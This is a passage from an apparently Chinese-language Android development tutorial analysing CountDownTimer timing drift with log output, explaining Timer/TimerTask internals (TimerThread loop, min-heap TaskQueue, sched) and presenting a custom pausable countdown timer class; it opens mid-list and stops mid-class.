        • 如果你在当前的activity中schedule了一个task,但是没有等到task结束,就按Back键finish了当前的activity,Timer和TimerTask并不会自动cancel或者销毁,它还会在后台运行,此时如果你在task的某个阶段要调起一个控件(比如AlertDialog),而该控制依赖被销毁的activity,那么将会引发crash。
        • 所以建议在页面销毁的时候,将Timer和TimerTask都有cancel结束并且设置成null
        • Timer 的方式实现定时任务,用来做倒计时是没有问题的。但是如果用来执行周期任务,恰好又有多个任务,恰好两个任务之间的时间间隔又比前一个任务执行时间短就会发生定时不准确的现象了。Timer 在执行过程中如果任务跑出了异常,Timer 会停止所有的任务。Timer 执行周期任务时依赖系统时间,系统时间的变化会引起 Timer 任务执行的变化。

    03.CountDownTimer解读

    03.1 来看一个问题

    • 先看案例代码,如下所示

      • 期待的效果是:“5-4-3-2-1-finish”或者“5-4-3-2-1-0”。这里,显示 0 和 finish 的时间应该是一致的,所以把 0 放在 onFinish() 里显示也可以。
      mCountDownTimer = new CountDownTimer(5000, 1000) {
          @Override
          public void onTick(long millisUntilFinished) {
              Log.i(TAG, "----倒计时----onTick--"+millisUntilFinished);
          }
      
          public void onFinish() {
              Log.i(TAG, "----倒计时----onFinish");
          }
      };
    • 然后看一下打印日志,如下所示

      2020-08-05 10:04:28.742 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--5000
      2020-08-05 10:04:29.744 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--3998
      2020-08-05 10:04:30.746 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--2997
      2020-08-05 10:04:31.746 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--1996
      2020-08-05 10:04:32.747 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--995
      2020-08-05 10:04:33.747 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onFinish
      2020-08-05 10:04:45.397 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--4999
      2020-08-05 10:04:46.398 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--3998
      2020-08-05 10:04:47.400 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--2996
      2020-08-05 10:04:48.402 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--1994
      2020-08-05 10:04:49.405 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onTick--992
      2020-08-05 10:04:50.401 17266-17266/com.yc.yctimer I/CountDownTimer: ----倒计时----onFinish
    • 可以看到有几个问题:

      • 问题1. 每次 onTick() 都会有几毫秒的误差,并不是期待的准确的 "5000, 4000, 3000, 2000, 1000, 0"。
      • 问题2. 多运行几次,就会发现这几毫秒的误差,导致了计算得出的剩余秒数并不准确,如果你的倒计时需要显示剩余秒数,就会发生 秒数跳跃/缺失 的情况(比如一开始从“4”开始显示——缺少“5”,或者直接从“5”跳到了“3”——缺少“4”)。
      • 问题3. 最后一次 onTick() 到 onFinish() 的间隔通常超过了 1 秒,差不多是 2 秒左右。如果你的倒计时在显示秒数,就能很明显的感觉到最后 1 秒停顿的时间很长。

    03.3 分析时间误差

    • 为什么会存在这个问题

      • 先看start()方法,计算的 mStopTimeInFuture(未来停止倒计时的时刻,即倒计时结束时间) 加了一个 SystemClock.elapsedRealtime() ,系统自开机以来(包括睡眠时间)的毫秒数,也可以叫“系统时间戳”。
      • 即倒计时结束时间为“当前系统时间戳 + 你设置的倒计时时长 mMillisInFuture ”,也就是计算出的相对于手机系统开机以来的一个时间。在下面代码中打印日志看看
      public synchronized final void start() {
          if (mMillisInFuture <= 0 && mCountdownInterval <= 0) {
              throw new RuntimeException("you must set the millisInFuture > 0 or countdownInterval >0");
          }
          mCancelled = false;
          long elapsedRealtime = SystemClock.elapsedRealtime();
          mStopTimeInFuture = elapsedRealtime + mMillisInFuture;
          CountTimeTools.i("start → mMillisInFuture = " + mMillisInFuture + ", seconds = " + mMillisInFuture / 1000 );
          CountTimeTools.i("start → elapsedRealtime = " + elapsedRealtime + ", → mStopTimeInFuture = " + mStopTimeInFuture);
          mPause = false;
          mHandler.sendMessage(mHandler.obtainMessage(MSG));
          if (mCountDownListener!=null){
              mCountDownListener.onStart();
          }
      }
      
      @SuppressLint("HandlerLeak")
      private Handler mHandler = new Handler() {
          @Override
          public void handleMessage(@NonNull Message msg) {
              synchronized (CountDownTimer.this) {
                  if (mCancelled) {
                      return;
                  }
                  //剩余毫秒数
                  final long millisLeft = mStopTimeInFuture - SystemClock.elapsedRealtime();
                  if (millisLeft <= 0) {
                      mCurrentMillisLeft = 0;
                      if (mCountDownListener != null) {
                          mCountDownListener.onFinish();
                          CountTimeTools.i("onFinish → millisLeft = " + millisLeft);
                      }
                  } else if (millisLeft < mCountdownInterval) {
                      mCurrentMillisLeft = 0;
                      CountTimeTools.i("handleMessage → millisLeft < mCountdownInterval !");
                      // 剩余时间小于一次时间间隔的时候,不再通知,只是延迟一下
                      sendMessageDelayed(obtainMessage(MSG), millisLeft);
                  } else {
                      //有多余的时间
                      long lastTickStart = SystemClock.elapsedRealtime();
                      CountTimeTools.i("before onTick → lastTickStart = " + lastTickStart);
                      CountTimeTools.i("before onTick → millisLeft = " + millisLeft + ", seconds = " + millisLeft / 1000 );
                      if (mCountDownListener != null) {
                          mCountDownListener.onTick(millisLeft);
                          CountTimeTools.i("after onTick → elapsedRealtime = " + SystemClock.elapsedRealtime());
                      }
                      mCurrentMillisLeft = millisLeft;
                      // 考虑用户的onTick需要花费时间,处理用户onTick执行的时间
                      long delay = lastTickStart + mCountdownInterval - SystemClock.elapsedRealtime();
                      CountTimeTools.i("after onTick → delay1 = " + delay);
                      // 特殊情况:用户的onTick方法花费的时间比interval长,那么直接跳转到下一次interval
                      // 注意,在onTick回调的方法中,不要做些耗时的操作
                      boolean isWhile = false;
                      while (delay < 0){
                          delay += mCountdownInterval;
                          isWhile = true;
                      }
                      if (isWhile){
                          CountTimeTools.i("after onTick执行超时 → delay2 = " + delay);
                      }
                      sendMessageDelayed(obtainMessage(MSG), delay);
                  }
              }
          }
      };
    • 然后看一下日志

      2020-08-05 13:36:02.475 8742-8742/com.yc.yctimer I/CountDownTimer: start → mMillisInFuture = 5000, seconds = 5
      2020-08-05 13:36:02.475 8742-8742/com.yc.yctimer I/CountDownTimer: start → elapsedRealtime = 122669630, → mStopTimeInFuture = 122674630
      2020-08-05 13:36:02.478 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 122669634
      2020-08-05 13:36:02.478 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 4996, seconds = 4
      2020-08-05 13:36:02.479 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 122669635
      2020-08-05 13:36:02.479 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = 999
      2020-08-05 13:36:03.480 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 122670636
      2020-08-05 13:36:03.480 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 3994, seconds = 3
      2020-08-05 13:36:03.483 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 122670639
      2020-08-05 13:36:03.484 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = 996
      2020-08-05 13:36:04.482 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 122671638
      2020-08-05 13:36:04.483 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 2992, seconds = 2
      2020-08-05 13:36:04.486 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 122671642
      2020-08-05 13:36:04.486 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = 996
      2020-08-05 13:36:05.485 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 122672641
      2020-08-05 13:36:05.485 8742-8742/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 1989, seconds = 1
      2020-08-05 13:36:05.488 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 122672644
      2020-08-05 13:36:05.488 8742-8742/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = 997
      2020-08-05 13:36:06.487 8742-8742/com.yc.yctimer I/CountDownTimer: handleMessage → millisLeft < mCountdownInterval !
      2020-08-05 13:36:07.481 8742-8742/com.yc.yctimer I/CountDownTimer: onFinish → millisLeft = -3
    • 分析一下日志

      • 倒计时 5 秒,而 onTick() 一共只执行了 4 次。分别是出现4,3,2,1
      • start() 启动计时时,mMillisInFuture = 5000。且根据当前系统时间戳(记为 elapsedRealtime0 = 122669630,开始 start() 倒计时时的系统时间戳)计算了倒计时结束时相对于系统开机时的时间点 mStopTimeInFuture。
      • 此后到第一次进入 handleMessage() 时,中间经历了很短的时间 122669630 - 122669634 = 6 毫秒。
      • handleMessage() 这里精确计算了程序执行时间,虽然是第一次进入 handleMessage,也没有直接使用 mStopTimeInFuture,而是根据程序执行到此处时的 elapsedRealtime() (记为 elapsedRealtime1)来计算此时剩余的倒计时时长。
      • millisLeft = 4996,进入 else,执行 onTick()方法回调。所以第一次 onTick() 时,millisLeft = 4996,导致计算的剩余秒数是“4996/1000 = 4”,所以倒计时显示秒数是从“4”开始,而不是“5”开始。这便是前面提到的 问题1 和 问题2。
      • 考虑用户的onTick需要花费时间,处理用户onTick执行的时间,于是便发出一个延迟delay时间的消息sendMessageDelayed(obtainMessage(MSG), delay);在日志里看到delay1 = 997

    03.3 onTick耗时超时

    • 上面分析到了用户的onTick需要花费时间,如果delay < 0则需要特殊处理,这个究竟是什么意思呢?下面来分析一下
    • 分析一下下面这个while循环作用

      // 考虑用户的onTick需要花费时间,处理用户onTick执行的时间
      long delay = lastTickStart + mCountdownInterval - SystemClock.elapsedRealtime();
      CountTimeTools.i("after onTick → delay1 = " + delay);
      // 特殊情况:用户的onTick方法花费的时间比interval长,那么直接跳转到下一次interval
      while (delay < 0){
          delay += mCountdownInterval;
      }
      CountTimeTools.i("after onTick → delay2 = " + delay);
      sendMessageDelayed(obtainMessage(MSG), delay);
      • 如果这次 onTick() 执行时间太长,超过了 mCountdownInterval ,那么执行完 onTick() 后计算得到的 delay 是一个负数,此时直接跳到下一次 mCountdownInterval 间隔,让 delay + mCountdownInterval。
    • 举一个例子来说一下,不然这里不太好理解

      • 假如设定每 1000 毫秒执行一次 onTick()。假设第一次 onTick() 开始前时的相对于手机系统开机时间的剩余倒计时时长是 5000 毫秒, 执行完这次 onTick() 操作消耗了 1015 毫秒,超出了我们设定的 1000 毫秒的间隔,那么第一次计算的 delay = 1000 - 1015 = -15 < 0,那么负数意味着什么呢?
      • 本来我们设定的 onTick() 调用间隔是 1000 毫秒,可是它执行完一次却用了 1015 毫秒,现在剩余倒计时还剩下 5000 - 1015 = 3985 毫秒,本来第二次 onTick() 按期望应该是在 4000 毫秒时开始执行的,可是此时第一次的 onTick() 却还未执行完。所以第二次 onTick() 就会被延迟 delay = -15 + 1000 = 985 毫秒,也就是到剩余 3000 毫秒时再执行了。
      • 那么此时就会 3985 / 1000 = 3,就会从5过度到3;依次类推,后续的delay延迟985毫秒后执行sendMessageDelayed,会导致时间出现跳跃性变动。具体可以看一下下面的例子……
    • onTick()做耗时操作会出现什么情况

      • 比如下面,看打印日志可知:4,2没有,这就意味着这个阶段没有执行到onTick()方法,而如果你在这个里有业务逻辑与时间节点有关,则可能会出现bug
      2020-08-05 13:58:00.657 11912-11912/com.yc.yctimer I/CountDownTimer: start → mMillisInFuture = 5000, seconds = 5
      2020-08-05 13:58:00.657 11912-11912/com.yc.yctimer I/CountDownTimer: start → elapsedRealtime = 123987813, → mStopTimeInFuture = 123992813
      2020-08-05 13:58:01.781 11912-11912/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 123988937
      2020-08-05 13:58:01.781 11912-11912/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 3876, seconds = 3
      2020-08-05 13:58:02.858 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 123990014
      2020-08-05 13:58:02.858 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = -77
      2020-08-05 13:58:02.858 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick执行超时 → delay2 = 923
      2020-08-05 13:58:03.784 11912-11912/com.yc.yctimer I/CountDownTimer: before onTick → lastTickStart = 123990940
      2020-08-05 13:58:03.784 11912-11912/com.yc.yctimer I/CountDownTimer: before onTick → millisLeft = 1873, seconds = 1
      2020-08-05 13:58:04.896 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick → elapsedRealtime = 123992052
      2020-08-05 13:58:04.896 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick → delay1 = -112
      2020-08-05 13:58:04.896 11912-11912/com.yc.yctimer I/CountDownTimer: after onTick执行超时 → delay2 = 888
      2020-08-05 13:58:05.788 11912-11912/com.yc.yctimer I/CountDownTimer: onFinish → millisLeft = -130
    • onTick方法中如何执行耗时操作【大于1秒的执行代码】

      • 建议使用handler消息机制进行处理,避免出现其他问题。

    03.4 代码改进完善

    • 针对 问题1 和 问题 2:

      • 问题描述

        • 问题1. 每次 onTick() 都会有几毫秒的误差,并不是期待的准确的 "5000, 4000, 3000, 2000, 1000, 0"。
        • 问题2. 多运行几次,就会发现这几毫秒的误差,导致了计算得出的剩余秒数并不准确,如果你的倒计时需要显示剩余秒数,就会发生 秒数跳跃/缺失 的情况(比如一开始从“4”开始显示——缺少“5”,或者直接从“5”跳到了“3”——缺少“4”)。
      • 解决方案

        • 这2个问题可以放在一起处理,网上也有很多人对这里做了改进,那就是给我们的 倒计时时长扩大一点点,通常是手动将 mMillisInFuture 扩大几十毫秒
      • 效果

        • 这里多加了 20 毫秒,运行一下(举个栗子)。倒计时打印日志:“5,4,3,2,1,finish”,

    04.Timer和TimerTask解读

    04.1 Timer和TimerTask方法

    • Timer核心方法如下所示

      //安排指定任务在指定时间执行。如果时间在过去,任务被安排立即执行。
      void schedule(TimerTask task, long delay)
      //将指定的任务调度为重复执行<i>固定延迟执行</i>,从指定的延迟开始。后续执行大约按按指定周期间隔的规则间隔进行。
      void schedule(TimerTask task, long delay, long period)
      • 第一个方法只执行一次;
      • 第二个方式每隔period执行一次,delay表示每次执行的延时时间,其实主要表现在第一次的延时效果,比如delay设置为0,那么立马执行task内容,如果设置为1000,那么第一次执行task会有一秒的延时效果。
    • TimerTask核心方法

      • TimerTask用于继承(或者直接定义并初始化匿名类),并重写run方法,定义自己的业务逻辑。
      //取消此计时器任务。如果任务被计划为一次性执行而尚未运行,或尚未被计划,则它将永远不会运行。
      //如果任务被安排为重复执行,它将永远不会再运行。(如果在此调用发生时任务正在运行,则任务将运行到完成,但将不再运行。)
      public boolean cancel() {
          synchronized(lock) {
              boolean result = (state == SCHEDULED);
              state = CANCELLED;
              return result;
          }
      }
    • 关于结束定时器

      • Timer和TimerTask都有cancel方法,而且最好同时调用;如果已经cancel,下次必须创建新的Timer才能schedule。
      public void destroyTimer() {
          if (mTimer != null) {
              mTimer.cancel();
              mTimer = null;
          }
          if (mTimerTask != null) {
              mTimerTask.cancel();
              mTimerTask = null;
          }
      }
    • 可能存在的问题

      • 如果你在当前的activity中schedule了一个task,但是没有等到task结束,就按Back键finish了当前的activity,Timer和TimerTask并不会自动cancel或者销毁,它还会在后台运行,此时如果你在task的某个阶段要调起一个控件(比如AlertDialog),而该控制依赖被销毁的activity,那么将会引发crash。
      • 所以建议在页面销毁的时候,将Timer和TimerTask都有cancel结束并且设置成null
      • Timer 的方式实现定时任务,用来做倒计时是没有问题的。但是如果用来执行周期任务,恰好又有多个任务,恰好两个任务之间的时间间隔又比前一个任务执行时间短就会发生定时不准确的现象了。Timer 在执行过程中如果任务跑出了异常,Timer 会停止所有的任务。Timer 执行周期任务时依赖系统时间,系统时间的变化会引起 Timer 任务执行的变化。

    04.2 Timer原理分析

    • 其基本处理模型是单线程调度的任务队列模型,Timer不停地接受调度任务,所有任务接受Timer调度后加入TaskQueue,TimerThread不停地去TaskQueue中取任务来执行。

    • 此种方式的不足之处为当某个任务执行时间较长,以致于超过了TaskQueue中下一个任务开始执行的时间,会影响整个任务执行的实时性。为了提高实时性,可以采用多个消费者一起消费来提高处理效率,避免此类问题的实现。

    04.3 TimerTask分析

    • 源代码如下所示

      • 可以发现TimerTask是实现Runnable接口的一个抽象类。如果直接继承该类并且实现该类的run() 方法就可以了,里面包含这种对应的状态。
      public abstract class TimerTask implements Runnable {
          final Object lock = new Object();
          int state = VIRGIN;
          //表示尚未计划此任务(也表示初始状态)
          static final int VIRGIN = 0;
          //表示正在执行任务状态
          static final int SCHEDULED   = 1;
          //表示执行完成状态
          static final int EXECUTED    = 2;
          //取消状态
          static final int CANCELLED   = 3;
          //下次执行任务的时间
          long nextExecutionTime;
          //执行时间间隔
          long period = 0;
          //子类需要实现该方法,执行的任务的代码在该方法中实现
          public abstract void run();
          //取消任务,从这里我们可以很清楚知道取消任务就是修改状态
          public boolean cancel() {
              synchronized(lock) {
                  boolean result = (state == SCHEDULED);
                  state = CANCELLED;
                  return result;
              }
          }
      }

    04.4 Timer源码分析

    • Timer才是真正的核心,在创建Timer对象的同时也创建一个TimerThread对象,该类集成Thread,本质上就是开启了一个线程。

      public class Timer {
          //创建一个任务队列
          private final TaskQueue queue = new TaskQueue();
          //创建一个Thread线程对象,并且将queue队列传进去
          private final TimerThread thread = new TimerThread(queue);
          public Timer() {
              this("Timer-" + serialNumber());
          }
      
          public Timer(boolean isDaemon) {
              this("Timer-" + serialNumber(), isDaemon);
          }
      
          public Timer(String name) {
              thread.setName(name);
              thread.start();
          }
      
          public Timer(String name, boolean isDaemon) {
              thread.setName(name);
              thread.setDaemon(isDaemon);
              thread.start();
          }
      }
    • 然后看一下TimerThread线程的源码,如下所示

      • 首先看run方法中的mainLoop(),开启一个不断循环的线程如果队列中不存在任务则阻塞当前的线程,直到队列中添加任务以后唤醒线程。
      • 然后获取队列中执行时间最小的任务,如果该任务的状态是取消的话则从队列中移除掉再从队列中重新获取。
      • 最后判断当前的时间是否大于等于任务的执行的时间,如果任务的执行时间还未到则当前线程再阻塞一段时间,同时我们还要将该任务重新扔到任务队列中重新排序,我们必须保证队列中的第一个任务的执行时间是最小的。
      • 执行完mainLoop()方法完后,接着就将newTasksMayBeScheduled设置为false,并且清空队列中所有的任务。
      • 思考一下,这里的最小任务是什么意思?先把这个疑问记着……
      class TimerThread extends Thread {
          boolean newTasksMayBeScheduled = true;
          private TaskQueue queue;
      
          TimerThread(TaskQueue queue) {
              this.queue = queue;
          }
      
          public void run() {
              try {
                  mainLoop();
              } finally {
                  synchronized(queue) {
                  //同时将状态置为false
                  newTasksMayBeScheduled = false;
                  //清空队列中所有的任务
                  queue.clear();
              }
          }
      
          private void mainLoop() {
              //while死循环
              while (true) {
                  try {
                      TimerTask task;
                      boolean taskFired;
                      synchronized(queue) {
                          //如果任务队列为空并且该标志位 true的话,则该线程一直进行等待中,直到队列中有任务进来的时候执行 queue.notify才会解除阻塞
                          while (queue.isEmpty() && newTasksMayBeScheduled)
                              queue.wait();
                          //如果队列中的内容为空的话直接跳出循环,外部调用者可能取消了Timer
                          if (queue.isEmpty())
                              break;
                          long currentTime, executionTime;
                          //获取队列中最近执行时间最小的任务(也就是最近需要执行的任务)
                          task = queue.getMin();
                          synchronized(task.lock) {
                              //如果该任务的状态是取消状态的话,那从队列中移除这个任务,然后继续执行循环队列操作
                              if (task.state == TimerTask.CANCELLED) {
                                  queue.removeMin();
                                  continue;
                              }
                              //获取当前系统时间
                              currentTime = System.currentTimeMillis();
                              //获取下一个目标要执行的时间
                              executionTime = task.nextExecutionTime;
                              //如果下一个目标要执行的时间大于等于等于时间了,表示要执行任务了
                              if (taskFired = (executionTime<=currentTime)) {
                                  //如果task的时间间隔为0,表示只执行一次该任务
                                  if (task.period == 0) {
                                      //将任务状态改为已执行状态,同时从队列中删除该任务
                                      queue.removeMin();
                                      task.state = TimerTask.EXECUTED;
                                  } else {
                                      //将任务重新跟队列中的任务进行排列,要始终保证第一个task的时间是最小的
                                      queue.rescheduleMin(task.period<0 ? currentTime   - task.period
                                                      : executionTime + task.period);
                                  }
                              }
                          }
                          //这里表示最近要执行的任务时间没有到,那么再让当前的线程阻塞一段时间
                          if (!taskFired)
                              queue.wait(executionTime - currentTime);
                      }
                      //表示要执行的任务时间已经到了,那么直接调用任务的run() 执行代码
                      if (taskFired)
                          task.run();
                  } catch(InterruptedException e) {
                  }
              }
          }
      }
    • 接着再来看一下TaskQueue队列的源代码

      • 可以发现这个队列使用数组实现的,如果超过了128的话则扩容为原来的两倍。这个代码不多,注释写的很详细了,没什么好讲的……
      public class TaskQueue {
          //创建一个数组为128的数组存放需要执行的任务,如果超过了128的话则扩容为原来的两倍
          private TimerTask[] queue = new TimerTask[128];
          //用于统计队列中任务的个数
          private int size = 0;
          //返回队列中任务的个数
          int size() {
              return size;
          }
      
          //依次遍历数组中的任务,并且置为null,有利于内存回收,注意这里的下标是从1开始计算的,不是从0
          void clear() {
              for (int i=1; i<=size; i++)
                  queue[i] = null;
              size = 0;
          }
      
          //这里添加一个新的元素使用的是最小堆的操作,这里不详细说明了。
          void add(TimerTask task) {
              //如果数组已经存满任务,那么扩容一个新的数组为之前的两倍
              if (size + 1 == queue.length)
                  queue = Arrays.copyOf(queue, 2*queue.length);
              queue[++size] = task;
              fixUp(size);
          }
      
          private void fixUp(int k) {
              while (k > 1) {
                  int j = k >> 1;
                  if (queue[j].nextExecutionTime <= queue[k].nextExecutionTime)
                      break;
                  TimerTask tmp = queue[j];  queue[j] = queue[k]; queue[k] = tmp;
                  k = j;
              }
          }
      }

    04.5 schedule发布任务

    • 当我们创建好Timer并且启动了循环线程以后,这个时候我们就需要发布任务。发布任务主要有以下几个方法。

      • schedule(TimerTask task, Date time)

        • 表示第一次执行任务的时间,时间间隔为0,也表示该任务只执行一次就结束了
      • schedule(TimerTask task, Date firstTime, long period)

        • firstTime 表示第一次执行的时间,period表示执行任务的时间间隔也就是多久时间执行一次
      • schedule(TimerTask task, long delay)

        • 延迟 delay时间执行任务,也就是在当前的时间+delay执行任务(该方法只执行一次任务)
    • 上面这三个方法都会执行sched方法,然后看一下这个

      • sched(TimerTask task, long time, long period)

        • 上面所有的执行任务的函数最后都是调用的该方法,task表示要执行的任务,time表示要执行任务的时间,period表示任务执行的间隔时间。
      • 具体看一下源代码

        private void sched(TimerTask task, long time, long period) {
            //如果时间间隔大于 long最大值的一般的话,需要对该数值 /2
            if (Math.abs(period) > (Long.MAX_VALUE >> 1))
                period >>= 1;
        
            synchronized(queue) {
                //首先判断轮训线程是否取消,如果取消状态直接抛出异常
                if (!thread.newTasksMayBeScheduled)
                    throw new IllegalStateException("Timer already cancelled.");
                synchronized(task.lock) {
                    //判断新执行的任务状态如果不是初始化状态话,直接抛出异常
                    if (task.state != TimerTask.VIRGIN)
                        throw new IllegalStateException("Task already scheduled or cancelled");
                    //赋值下次执行任务的时间
                    task.nextExecutionTime = time;
                    task.period = period;
                    //将任务状态修改为发布状态
                    task.state = TimerTask.SCHEDULED;
                }
                //将任务添加到最小堆队列中,注意:这里在添加到队列里面要保证第一个元素始终是最小的
                queue.add(task);
                //如果task就是队列中最小的任务话,则直接唤醒轮训线程执行任务(也就是唤醒TimerThread线程)
                if (queue.getMin() == task)
                    queue.notify();
            }
        }
      • 从上面的代码中可以清楚的明白发布任务非常简单的,就是往任务队列中添加任务然后判断条件是否需要唤醒轮训线程去执行任务。其核心代码是在 TimerThread 轮训中以及使用最小堆实现的队列保证每次取出来的第一个任务的执行时间是最小的。

    04.6 存在的问题分析

    • Timer通过一个寻轮线程循环的从队列中获取需要执行的任务,如果任务的执行时间未到则进行等待(通过Object类的 wait 方法实现阻塞等待)一段时间再自动唤醒执行任务。
    • 但是细心的我们发现这个是单线程执行的如果有多个任务需要执行的话会不会应付不过来呢?类似一个程序员,要开发多个需求,要是所有的事情所耗费的时间很短的话,那么就不会出现延迟问题,要是其中一件或者是某件事情非常耗时间的话那么则会影响到后面事情的时间。
    • 其实这个现象一样跟Timer出现的问题也是一样的道理,如果某个任务非常耗时间,而且任务队列中的任务又比较多的话,那 TimerThread 是忙不过来的,这样子就会导致后面的任务出现延迟执行的问题,进而会影响所有的定时任务的准确执行时间。
    • 那么有人就会想要可以一个TimerTask对应一个Timer不就行了吗?但是我们要清楚的明白计算机的系统资源是有限的,如果我们一个任务就去单独的开一个轮训线程执行的话,其实是有一点浪费系统的资源的,完全没有必要的,如果不需要定时任务了话,我们还需要去销毁线程释放资源的,如果是这样子的反复操作的话,不利于我们程序的流畅性。

    05.自定义倒计时器案例

    • 为了方便实现倒计时器自由灵活设置,且代码精简,能够适应一个页面创建多个定时器。或者用在列表中,同时倒计时器支持暂停,恢复倒计时等功能。这个就需要做特使处理呢。

      public class CountDownTimer {
      
          /**
           * 时间,即开始的时间,通俗来说就是倒计时总时间
           */
          private long mMillisInFuture;
          /**
           * 布尔值,表示计时器是否被取消
           * 只有调用cancel时才被设置为true
           */
          private boolean mCancelled = false;
          /**
           * 用户接收回调的时间间隔,一般是1秒
           */
          private long mCountdownInterval;
          /**
           * 记录暂停时候的时间
           */
          private long mStopTimeInFuture;
          /**
           * mas.what值
           */
          private static final int MSG = 520;
          /**
           * 暂停时,当时剩余时间
           */
          private long mCurrentMillisLeft;
          /**
           * 是否暂停
           * 只有当调用pause时,才设置为true
           */
          private boolean mPause = false;
          /**
           * 监听listener
           */
          private TimerListener mCountDownListener;
          /**
           * 是否创建开始
           */
          private boolean isStart;
      
          public CountDownTimer(){
              isStart = true;
          }
      
          public CountDownTimer(long millisInFuture, long countdownInterval) {
              long total = millisInFuture + 20;
              this.mMillisInFuture = total;
              //this.mMillisInFuture = millisInFuture;
              this.mCountdownInterval = countdownInterval;
              isStart = true;
          }
      
          /**
           * 开始倒计时,每次点击,都会重新开始
           */
          public synchronized final void start() {
              if (mMillisInFuture <= 0 && mCountdownInterval <= 0) {
                  throw new RuntimeException("you must set the millisInFuture > 0 or countdownInterval >0");
              }
              mCancelled = false;
              long elapsedRealtime = SystemClock.elapsedRealtime();
              mStopTimeInFuture = elapsedRealtime + mMillisInFuture;
              CountTimeTools.i("start → mMillisInFuture = " + mMillisInFuture + ", seconds = " + mMillisInFuture / 1000 );
              CountTimeTools.i("start → elapsedRealtime = " + elapsedRealtime + ", → mStopTimeInFuture = " + mStopTimeInFuture);
              mPause = false;
              mHandler.sendMessage(mHandler.obtainMessage(MSG));
              if (mCountDownListener!=null){
                  mCountDownListener.onStart();
              }
          }
      
          /**
           * 取消计时器
           */
          public synchronized final void cancel() {
              if (mHandler != null) {
                  //暂停
                  mPause = false;
                  mHandler.removeMessages(MSG);
                  //取消
                  mCancelled = true;
              }
          }
      
          /**
           * 按一下暂停,再按一下继续倒计时
           */
          public synchronized final void pause() {
              if (mHandler != null) {
                  if (mCancelled) {
                      return;
                  }
                  if (mCurrentMillisLeft < mCountdownInterval) {
                      return;
                  }
                  if (!mPause) {
                      mHandler.removeMessages(MSG);
                      mPause = true;
                  }
              }
          }
      
          /**
           * 恢复暂停,开始
           */
          public synchronized final  void resume() {
              if (mMillisInFuture <= 0 && mCountdownInterval <= 0) {
                  throw new RuntimeException("you must set the millisInFuture > 0 or countdownInterval >0");
              }
              if (mCancelled) {
                  return;
              }
              //剩余时长少于
              if (mCurrentMillisLeft < mCountdownInterval || !mPause) {
                  return;
              }
              mStopTimeInFuture = SystemClock.elapsedRealtime() + mCurrentMillisLeft;
              mHandler.sendMessage(mHandler.obtainMessage(MSG));
              mPause = false;
          }
      
      
          @SuppressLint("HandlerLeak")
          private Handler mHandler = new Handler() {
              @Override
              public void handleMessage(@NonNull Message msg) {
                  synchronized (CountDownTimer.this) {
                      if (mCancelled) {
                          return;
                      }
                      //剩余毫秒数
                      final long millisLeft = mStopTimeInFuture - SystemClock.elapsedRealtime();
                      if (millisLeft <= 0) {
                          mCurrentMillisLeft = 0;
                          if (mCountDownListener != null) {
                              mCountDownListener.onFinish();
                              CountTimeTools.i("onFinish → millisLeft = " + millisLeft);
                          }
                      } else if (millisLeft < mCountdownInterval) {
                          mCurrentMillisLeft = 0;
                          CountTimeTools.i("handleMessage → millisLeft < mCountdownInterval !");
                          // 剩余时间小于一次时间间隔的时候,不再通知,只是延迟一下
                          sendMessageDelayed(obtainMessage(MSG), millisLeft);
                      } else {
                          //有多余的时间
                          long lastTickStart = SystemClock.elapsedRealtime();
                          CountTimeTools.i("before onTick → lastTickStart = " + lastTickStart);
                          CountTimeTools.i("before onTick → millisLeft = " + millisLeft + ", seconds = " + millisLeft / 1000 );
                          if (mCountDownListener != null) {
                              mCountDownListener.onTick(millisLeft);
                              CountTimeTools.i("after onTick → elapsedRealtime = " + SystemClock.elapsedRealtime());
                          }
                          mCurrentMillisLeft = millisLeft;
                          // 考虑用户的onTick需要花费时间,处理用户onTick执行的时间
                          // 打印这个delay时间,大概是997毫秒
                          long delay = lastTickStart + mCountdownInterval - SystemClock.elapsedRealtime();
                          CountTimeTools.i("after onTick → delay1 = " + delay);
                          // 特殊情况:用户的onTick方法花费的时间比interval长,那么直接跳转到下一次interval
                          // 注意,在onTick回调的方法中,不要做些耗时的操作
                          boolean isWhile = false;
                          while (delay < 0){
                              delay += mCountdownInterval;
                              isWhile = true;
                          }
                          if (isWhile){
                              CountTimeTools.i("after onTick执行超时 → delay2 = " + delay);
                          }
                          sendMessageDelayed(obtainMessage(MSG), delay);
                      }
                  }
              }
          };
      
          /**
           * 设置倒计时总时间
           * @param millisInFuture                    毫秒值
           */
